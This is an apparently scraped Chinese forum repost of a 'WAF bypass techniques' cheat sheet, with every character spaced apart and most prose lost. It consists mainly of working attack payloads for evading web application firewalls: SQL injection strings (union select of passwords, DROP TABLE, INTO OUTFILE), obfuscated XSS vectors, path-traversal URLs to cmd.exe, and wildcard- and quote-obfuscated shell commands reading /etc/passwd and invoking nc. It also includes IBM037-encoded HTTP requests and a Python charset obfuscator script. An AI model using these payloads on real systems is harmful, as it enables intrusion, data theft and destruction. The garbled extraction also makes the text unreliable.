[21914] 2021-04-28_干货各种WAF绕过手法学习

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2021-04-28_干货各种WAF绕过手法学习 | W A F   L e m o n S e c   2 0 2 1 - 0 4 - 2 8 0 X 0 0         F u z z / f u z z 1 . S e c l i s t s / F u z z i n g h t t p s : / / g i t h u b . c o m / d a n i e l m i e s s l e r / S e c L i s t s / t r e e / m a s t e r / F u z z i n g 2 . F u z z - D B / A t t a c k h t t p s : / / g i t h u b . c o m / f u z z d b - p r o j e c t / f u z z d b / t r e e / m a s t e r / a t t a c k 3 . O t h e r   P a y l o a d s   b a n   i p h t t p s : / / g i t h u b . c o m / f o o s p i d y / p a y l o a d s 0 X 0 1         w a f   使 / b y p a s s C a s e :   S Q L     S t e p   1 :   S t e p   2 :   S t e p   3 :   S t e p   4 : :   a n d ,   o r ,   u n i o n :   p r e g _ m a t c h ( ' / ( a n d | o r | u n i o n ) / i ' ,   $ i d ) :   u n i o n   s e l e c t   u s e r ,   p a s s w o r d   f r o m   u s e r s b y p a s s :   1   | |   ( s e l e c t   u s e r   f r o m   u s e r s   w h e r e   u s e r _ i d   =   1 )   =   ' a d m i n ' :   a n d ,   o r ,   u n i o n ,   w h e r e :   1   | |   ( s e l e c t   u s e r   f r o m   u s e r s   w h e r e   u s e r _ i d   =   1 )   =   ' a d m i n ' b y p a s s :   1   | |   ( s e l e c t   u s e r   f r o m   u s e r s   l i m i t   1 )   =   ' a d m i n ' :   a n d ,   o r ,   u n i o n ,   w h e r e ,   l i m i t :   1   | |   ( s e l e c t   u s e r   f r o m   u s e r s   l i m i t   1 )   =   ' a d m i n ' b y p a s s :   1   | |   ( s e l e c t   u s e r   f r o m   u s e r s   g r o u p   b y   u s e r _ i d   h a v i n g   u s e r _ i d   =   1 )   =   ' a d m i n '
  S t e p   5 :   S t e p   6 :   S t e p   7 :   S t e p   8 :   S t e p   9 : 0 X 0 2                 / :   a n d ,   o r ,   u n i o n ,   w h e r e ,   l i m i t ,   g r o u p   b y :   1   | |   ( s e l e c t   u s e r   f r o m   u s e r s   g r o u p   b y   u s e r _ i d   h a v i n g   u s e r _ i d   =   1 )   =   ' a d m i n ' b y p a s s :   1   | |   ( s e l e c t   s u b s t r ( g r o u p _ c o n c a t ( u s e r _ i d ) , 1 , 1 )   u s e r   f r o m   u s e r s   )   =   1 :   a n d ,   o r ,   u n i o n ,   w h e r e ,   l i m i t ,   g r o u p   b y ,   s e l e c t :   1   | |   ( s e l e c t   s u b s t r ( g r u o p _ c o n c a t ( u s e r _ i d ) , 1 , 1 )   u s e r   f r o m   u s e r s )   =   1 b y p a s s :   1   | |   1   =   1   i n t o   o u t f i l e   ' r e s u l t . t x t ' b y p a s s :   1   | |   s u b s t r ( u s e r , 1 , 1 )   =   ' a ' :   a n d ,   o r ,   u n i o n ,   w h e r e ,   l i m i t ,   g r o u p   b y ,   s e l e c t ,   ' :   1   | |   ( s e l e c t   s u b s t r ( g r u o p _ c o n c a t ( u s e r _ i d ) , 1 , 1 )   u s e r   f r o m   u s e r s )   =   1 b y p a s s :   1   | |   u s e r _ i d   i s   n o t   n u l l b y p a s s :   1   | |   s u b s t r ( u s e r , 1 , 1 )   =   0 x 6 1 b y p a s s :   1   | |   s u b s t r ( u s e r , 1 , 1 )   =   u n h e x ( 6 1 ) :   a n d ,   o r ,   u n i o n ,   w h e r e ,   l i m i t ,   g r o u p   b y ,   s e l e c t ,   ' ,   h e x :   1   | |   s u b s t r ( u s e r , 1 , 1 )   =   u n h e x ( 6 1 ) b y p a s s :   1   | |   s u b s t r ( u s e r , 1 , 1 )   =   l o w e r ( c o n v ( 1 1 , 1 0 , 3 6 ) ) :   a n d ,   o r ,   u n i o n ,   w h e r e ,   l i m i t ,   g r o u p   b y ,   s e l e c t ,   ' ,   h e x ,   s u b s t r :   1   | |   s u b s t r ( u s e r , 1 , 1 )   =   l o w e r ( c o n v ( 1 1 , 1 0 , 3 6 ) ) b y p a s s :   1   | |   l p a d ( u s e r , 7 , 1 ) :   a n d ,   o r ,   u n i o n ,   w h e r e ,   l i m i t ,   g r o u p   b y ,   s e l e c t ,   ' ,   h e x ,   s u b s t r ,   w h i t e   s p a c e :   1   | |   l p a d ( u s e r , 7 , 1 ) b y p a s s :   1 % 0 b | | % 0 b l p a d ( u s e r , 7 , 1 )
1 .   2 .   U R L   3 .   U n i c o d e   4 .   H T M L   5 .   : :   < s c r i p t > a l e r t ( ) < / s c r i p t > B y p a s s e d :   < S c R i p T > a l e r t ( ) < / s C R i p T > :   S E L E C T   *   F R O M   a l l _ t a b l e s   W H E R E   O W N E R   =   ' D A T A B A S E _ N A M E ' B y p a s s e d :   s E L e c T   *   F r O m   a l l _ t a b l e s   w h E R e   O W N E R   =   ' D A T A B A S E _ N A M E ' :   < s v G / x = " > " / o N l o a D = c o n f i r m ( ) / / B y p a s s e d :   % 3 C s v G % 2 F x % 3 D % 2 2 % 3 E % 2 2 % 2 F o N l o a D % 3 D c o n f i r m % 2 8 % 2 9 % 2 F % 2 F :   u N I o N ( s E l e C T   1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 ) B y p a s s e d :   u N I o N % 2 8 s E l e C T + 1 % 2 C 2 % 2 C 3 % 2 C 4 % 2 C 5 % 2 C 6 % 2 C 7 % 2 C 8 % 2 C 9 % 2 C 1 0 % 2 C 1 1 % 2 C 1 2 % 2 9 :   < m a r q u e e   o n s t a r t = p r o m p t ( ) > :   < m a r q u e e   o n s t a r t = u 0 0 7 0 r u 0 6 f u 0 0 6 d p t ( ) > :   / ? r e d i r = h t t p : / / g o o g l e . c o m B y p a s s e d :   / ? r e d i r = h t t p : / / g o o g l e c o m   ( U n i c o d e   ) :   < m a r q u e e   l o o p = 1   o n f i n i s h = a l e r t ( ) > x B y p a s s e d :   m a r q u e e   l o o p 1   o n f i n i s h a l e r t 1 ) > x   ( U n i c o d e   ) T I P :     t h i s   a n d   t h i s   r e p o r t s   o n   H a c k e r O n e .   : ) :   " > < i m g   s r c = x   o n e r r o r = c o n f i r m ( ) > E n c o d e d :   & q u o t ; & g t ; & l t ; i m g   s r c = x   o n e r r o r = c o n f i r m & l p a r ; & r p a r ; & g t ;   ( G e n e r a l   f o r m ) E n c o d e d :   & # 3 4 ; & # 6 2 ; & # 6 0 ; i m g   s r c = x   o n e r r o r = c o n f i r m & # 4 0 ; & # 4 1 ; & # 6 2 ;   ( N u m e r i c   r e f e r e n c e ) S o m e t i m e s ,   W A F   r u l e s   o f t e n   t e n d   t o   f i l t e r   o u t   a   s p e c i f i c   t y p e   o f   e n c o d i n g . T h i s   t y p e   o f   f i l t e r s   c a n   b e   b y p a s s e d   b y   m i x e d   e n c o d i n g   p a y l o a d s . T a b s   a n d   n e w l i n e s   f u r t h e r   a d d   t o   o b f u s c a t i o n .
7 .   U R L 8 .   使 使 9 .   p a y l o a d   9 .   < A   H R E F = " h t t   p : / / 6   6 . 0 0 0 1 4 6 . 0 x 7 . 1 4 7 / " > X S S < / A > u r l :   h t t p : / / v i c t i m / c g i / . . / . . / w i n n t / s y s t e m 3 2 / c m d . e x e ? / c + d i r + c : :   h t t p : / / v i c t i m / c g i / % 2 5 2 E % 2 5 2 E % 2 5 2 F % 2 5 2 E % 2 5 2 E % 2 5 2 F w i n n t / s y s t e m 3 2 / c m d . e x e ? / c + d i r + c : :   < s c r i p t > a l e r t ( ) < / s c r i p t > :   % 2 5 3 C s c r i p t % 2 5 3 E a l e r t ( ) % 2 5 3 C % 2 5 2 F s c r i p t % 2 5 3 E l i n u x s h e l l :   / b i n / c a t   / e t c / p a s s w d :   / ? ? ? / ? ? t   / ? ? ? / ? ? s s ? ? U s e d   c h a r s :   /   ?   t   s :   / b i n / n c   1 2 7 . 0 . 0 . 1   1 3 3 7 :   / ? ? ? / n ?   2 1 3 0 7 0 6 4 3 3   1 3 3 7 U s e d   c h a r s :   /   ?   n   [ 0 - 9 ] :   < s c r i p t > a l e r t ( ) < / s c r i p t > :   < s c r i p t > e v a l ( ' a l ' + ' e r ' + ' t ( ) ' ) < / s c r i p t > :   / b i n / c a t   / e t c / p a s s w d :   / b i ' n ' ' ' / c ' ' a t '   / e ' t c ' / p a ' ' s s ' w d B a s h   a l l o w s   p a t h   c o n c a t e n a t i o n   f o r   e x e c u t i o n . :   < i f r a m e / o n l o a d = ' t h i s [ " s r c " ] = " j a v a s c r i p t : a l e r t ( ) " ' ; > :   < i f r a m e / o n l o a d = ' t h i s [ " s r c " ] = " j a v " + " a s & T a b ; c r " + " i p t : a l " + " e r " + " t ( ) " ' ; >
N O T E :   1 0 .   1 1 .   T I P :   便 N o r m a l   p a y l o a d s   g e t   f i l t e r e d   o u t   e a s i l y . A d d i n g   s o m e   j u n k   c h a r s   h e l p s   a v o i d   d e t e c t i o n   ( s p e c i f i c   c a s e s   o n l y ) . T h e y   o f t e n   h e l p   i n   c o n f u s i n g   r e g e x   b a s e d   f i r e w a l l s . :   < s c r i p t > a l e r t ( ) < / s c r i p t > :   < s c r i p t > + - + - 1 - + - + a l e r t ( 1 ) < / s c r i p t > :   < B O D Y   o n l o a d = a l e r t ( ) > :   < B O D Y   o n l o a d ! # $ % & ( ) * ~ + - _ . , : ; ? @ [ / | ] ^ ` = a l e r t ( ) > :   < a   h r e f = j a v a s c r i p t ; a l e r t ( ) > C l i c k M e B y p a s s e d :   < a   a a   a a a   a a a a   a a a a a   a a a a a a   a a a a a a a   a a a a a a a a   a a a a a a a a a a   h r e f = j & # 9 7 v & # 9 7 s c r i p t & # x 3 A ; & # 9 7 l e r t w a f :   < i f r a m e   s r c = j a v a s c r i p t : c o n f i r m ( 0 ) " > :   < i f r a m e   s r c = " % 0 A j % 0 A a % 0 A v % 0 A a % 0 A s % 0 A c % 0 A r % 0 A i % 0 A p % 0 A t % 0 A % 3 A c o n f i r m ( 0 ) " > b a s h     p e r l   $ a a a a , $ s d a y u h j b s a d , $ d a d 2 e d
1 2 .   T a b   1 3 .   T o k e n   B r e a k e r s (   s q l ) L e v e l   1   O b f u s c a t i o n :   N o r m a l :   / b i n / c a t   / e t c / p a s s w d :   / b i n / c a t $ u   / e t c / p a s s w d $ u L e v e l   2   O b f u s c a t i o n :   P o s t i o n   B a s e d :   / b i n / c a t   / e t c / p a s s w d :   $ u / b i n $ u / c a t $ u   $ u / e t c $ u / p a s s w d $ u L e v e l   3   O b f u s c a t i o n :   R a n d o m   c h a r a c t e r s :   / b i n / c a t   / e t c / p a s s w d :   $ a a a a a a / b i n $ b b b b b b / c a t $ c c c c c c c   $ d d d d d d / e t c $ e e e e e e e / p a s s w d $ f f f f f f f p a y l o a d $ s d i j c h k d / ? ? ? $ s d j h s k d j h / ? ? t $ s k d j f n s k d j   $ s d o f h s d h j s / ? ? ? $ o s d i h d h s d j / ? ? s s ? ? $ s k d j h s i u d f w a f T a b :   < I M G   S R C = " j a v a s c r i p t : a l e r t ( ) ; " > B y p a s s e d :   < I M G   S R C = "   j a v a s c r i p t : a l e r t ( ) ; " > :   < I M G   S R C = "   j a v   a s c r i   p t : a l e r t   ( ) ; " > :   h t t p : / / t e s t . c o m / t e s t ? i d = 1   u n i o n   s e l e c t   1 , 2 , 3 :   h t t p : / / t e s t . c o m / t e s t ? i d = 1 % 0 9 u n i o n % 2 3 % 0 A % 0 D s e l e c t % 2 D % 2 D % 0 A % 0 D 1 , 2 , 3 :   < i f r a m e   s r c = j a v a s c r i p t : a l e r t ( 1 ) > < / i f r a m e > : < i f r a m e         s r c = j & T a b ; a & T a b ; v & T a b ; a & T a b ; s & T a b ; c & T a b ; r & T a b ; i & T a b ; p & T a b ; t & T a b ; : a & T a b ; l & T a b ; e & T a b ; r & T a b ; t & T a b ; % 2 8 & T a b ; 1 & T a b ; % 2 9 A t t a c k s   o n   t o k e n i z e r s   a t t e m p t   t o   b r e a k   t h e   l o g i c   o f   s p l i t t i n g   a   r e q u e s t   i n t o   t o k e n s   w i t h   t h e   h e l p T o k e n   b r e a k e r s   a r e   s y m b o l s   t h a t   a l l o w   a f f e c t i n g   t h e   c o r r e s p o n d e n c e   b e t w e e n   a n   e l e m e n t   o f   a   s t r i n g H o w e v e r ,   t h e   r e q u e s t   m u s t   s t i l l   r e m a i n   v a l i d   w h i l e   u s i n g   t o k e n - b r e a k e r s .
T I P :   p a y l o a d   c h e a t   s h e e t . 1 4 .   C a s e :   I I S :   +   U R L   E n c o d i n g : C a s e :   U n k n o w n   T o k e n   f o r   t h e   T o k e n i z e r P a y l o a d :   ? i d = - s q l i t e _ v e r s i o n ( )   U N I O N   S E L E C T   p a s s w o r d   F R O M   u s e r s   - - C a s e :   U n k n o w n   C o n t e x t   f o r   t h e   P a r s e r   ( N o t i c e   t h e   u n c o n t e x t e d   b r a c k e t ) P a y l o a d   1 :   ? i d = 1 2 3 ) ; D R O P   T A B L E   u s e r s   - - P a y l o a d   2 :   ? i d = 1 3 3 7 )   I N T O   O U T F I L E   x x x   - - w e b ( ) w a f I I S 6 ,   7 . 5 ,   8   a n d   1 0   ( A S P X   v 4 . x )     I B M 0 3 7   P O S T   / s a m p l e . a s p x ? i d 1 = s o m e t h i n g   H T T P / 1 . 1 H O S T :   v i c t i m . c o m C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ;   c h a r s e t = u t f - 8 C o n t e n t - L e n g t h :   4 1 i d 2 = ' u n i o n   a l l   s e l e c t   *   f r o m   u s e r s - -
T I P :   使     P O S T   / s a m p l e . a s p x ? % 8 9 % 8 4 % F 1 = % A 2 % 9 6 % 9 4 % 8 5 % A 3 % 8 8 % 8 9 % 9 5 % 8 7   H T T P / 1 . 1 H O S T :   v i c t i m . c o m C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ;   c h a r s e t = i b m 0 3 7 C o n t e n t - L e n g t h :   1 1 5 % 8 9 % 8 4 % F 2 = % 7 D % A 4 % 9 5 % 8 9 % 9 6 % 9 5 % 4 0 % 8 1 % 9 3 % 9 3 % 4 0 % A 2 % 8 5 % 9 3 % 8 5 % 8 3 % A 3 % 4 0 % 5 C % 4 0 % 8 6 % 9 9 % 9 6 % 9 4 % 4 0 % A 4 % A 2 % 8 5 % 9 9 % A 2 % 6 0 % 6 0 i m p o r t   u r l l i b . p a r s e ,   s y s f r o m   a r g p a r s e   i m p o r t   A r g u m e n t P a r s e r l a c k o f a r t   =   ' ' '                 O B F U S C A T O R ' ' ' d e f   p a r a m E n c o d e ( p a r a m s = " " ,   c h a r s e t = " " ,   e n c o d e E q u a l S i g n = F a l s e ,   e n c o d e A m p e r s a n d = F a l s e ,   u r l D e c o d e I n p u t = T r u e ,   u r l E n c o d e O u t p u t = T r u e )         r e s u l t   =   " "         e q u a l S i g n   =   " = "         a m p e r s a n d   =   " & "         i f   ' = '   a n d   ' & '   i n   p a r a m s :                 i f   e n c o d e E q u a l S i g n :                         e q u a l S i g n   =   e q u a l S i g n . e n c o d e ( c h a r s e t )                 i f   e n c o d e A m p e r s a n d :                         a m p e r s a n d   =   a m p e r s a n d . e n c o d e ( c h a r s e t )                 p a r a m s _ l i s t   =   p a r a m s . s p l i t ( " & " )                 f o r   p a r a m _ p a i r   i n   p a r a m s _ l i s t :                         p a r a m ,   v a l u e   =   p a r a m _ p a i r . s p l i t ( " = " )                         i f   u r l D e c o d e I n p u t :                                 p a r a m   =   u r l l i b . p a r s e . u n q u o t e ( p a r a m )                                 v a l u e   =   u r l l i b . p a r s e . u n q u o t e ( v a l u e )                         p a r a m   =   p a r a m . e n c o d e ( c h a r s e t )                         v a l u e   =   v a l u e . e n c o d e ( c h a r s e t )                         i f   u r l E n c o d e O u t p u t :                                 p a r a m   =   u r l l i b . p a r s e . q u o t e _ p l u s ( p a r a m )                                 v a l u e   =   u r l l i b . p a r s e . q u o t e _ p l u s ( v a l u e )                         i f   r e s u l t :                                 r e s u l t   + =   a m p e r s a n d                         r e s u l t   + =   p a r a m   +   e q u a l S i g n   +   v a l u e
                        r e s u l t   + =   p a r a m   +   e q u a l S i g n   +   v a l u e         e l s e :                 i f   u r l D e c o d e I n p u t :                         p a r a m s   =   u r l l i b . p a r s e . u n q u o t e ( p a r a m s )                 r e s u l t   =   p a r a m s . e n c o d e ( c h a r s e t )                 i f   u r l E n c o d e O u t p u t :                         r e s u l t   =   u r l l i b . p a r s e . q u o t e _ p l u s ( r e s u l t )         r e t u r n   r e s u l t d e f   m a i n ( ) :         p r i n t ( l a c k o f a r t )         p a r s e r   =   A r g u m e n t P a r s e r ( ' p y t h o n 3   o b f u . p y ' )         p a r s e r . _ a c t i o n _ g r o u p s . p o p ( )         #   A   s i m p l e   h a c k   t o   h a v e   r e q u i r e d   a r g u m e n t s   a n d   o p t i o n a l   a r g u m e n t s   s e p a r a t e l y         r e q u i r e d   =   p a r s e r . a d d _ a r g u m e n t _ g r o u p ( ' R e q u i r e d   A r g u m e n t s ' )         o p t i o n a l   =   p a r s e r . a d d _ a r g u m e n t _ g r o u p ( ' O p t i o n a l   A r g u m e n t s ' )         #   R e q u i r e d   O p t i o n s         r e q u i r e d . a d d _ a r g u m e n t ( ' - s ' ,   ' - - s t r ' ,   h e l p = ' S t r i n g   t o   o b f u s c a t e ' ,   d e s t = ' s t r ' )         r e q u i r e d . a d d _ a r g u m e n t ( ' - e ' ,   ' - - e n c ' ,   h e l p = ' E n c o d i n g   t y p e .   e g :   i b m 0 3 7 ,   u t f 1 6 ,   e t c ' ,   d e s t = ' e n c '         #   O p t i o n a l   A r g u m e n t s   ( m a i n   s t u f f   a n d   n e c e s s a r y )         o p t i o n a l . a d d _ a r g u m e n t ( ' - u e o ' ,   h e l p = ' U R L   E n c o d e   O u t p u t ' ,   d e s t = ' u e o ' ,   a c t i o n = ' s t o r e _ t r u e ' )         o p t i o n a l . a d d _ a r g u m e n t ( ' - u d i ' ,   h e l p = ' U R L   D e c o d e   I n p u t ' ,   d e s t = ' u d i ' ,   a c t i o n = ' s t o r e _ t r u e ' )         a r g s   =   p a r s e r . p a r s e _ a r g s ( )         i f   n o t   l e n ( s y s . a r g v )   >   1 :                 p a r s e r . p r i n t _ h e l p ( )                 q u i t ( )         p r i n t ( ' I n p u t :   % s '   %   ( a r g s . s t r ) )         p r i n t ( ' O u t p u t :   % s '   %   ( p a r a m E n c o d e ( p a r a m s = a r g s . s t r ,   c h a r s e t = a r g s . e n c ,   u r l D e c o d e I n p u t = a r g s . u d i ,   u r l E n c o d e O u t p u t = a r g s . u e o ) ) ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         m a i n ( )
N g i n x ,   u W S G I - D j a n g o - P y t h o n 3 I B M 0 3 7 ,   I B M 5 0 0 ,   c p 8 7 5 ,   I B M 1 0 2 6 ,   I B M 2 7 3 u r l &   a n d ( u r l ) N g i n x ,   u W S G I - D j a n g o - P y t h o n 2 I B M 0 3 7 ,   I B M 5 0 0 ,   c p 8 7 5 ,   I B M 1 0 2 6 ,   u t f - 1 6 ,   u t f - 3 2 ,   u t f - 3 2 B E ,   I B M 4 2 4 便 u r l &
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则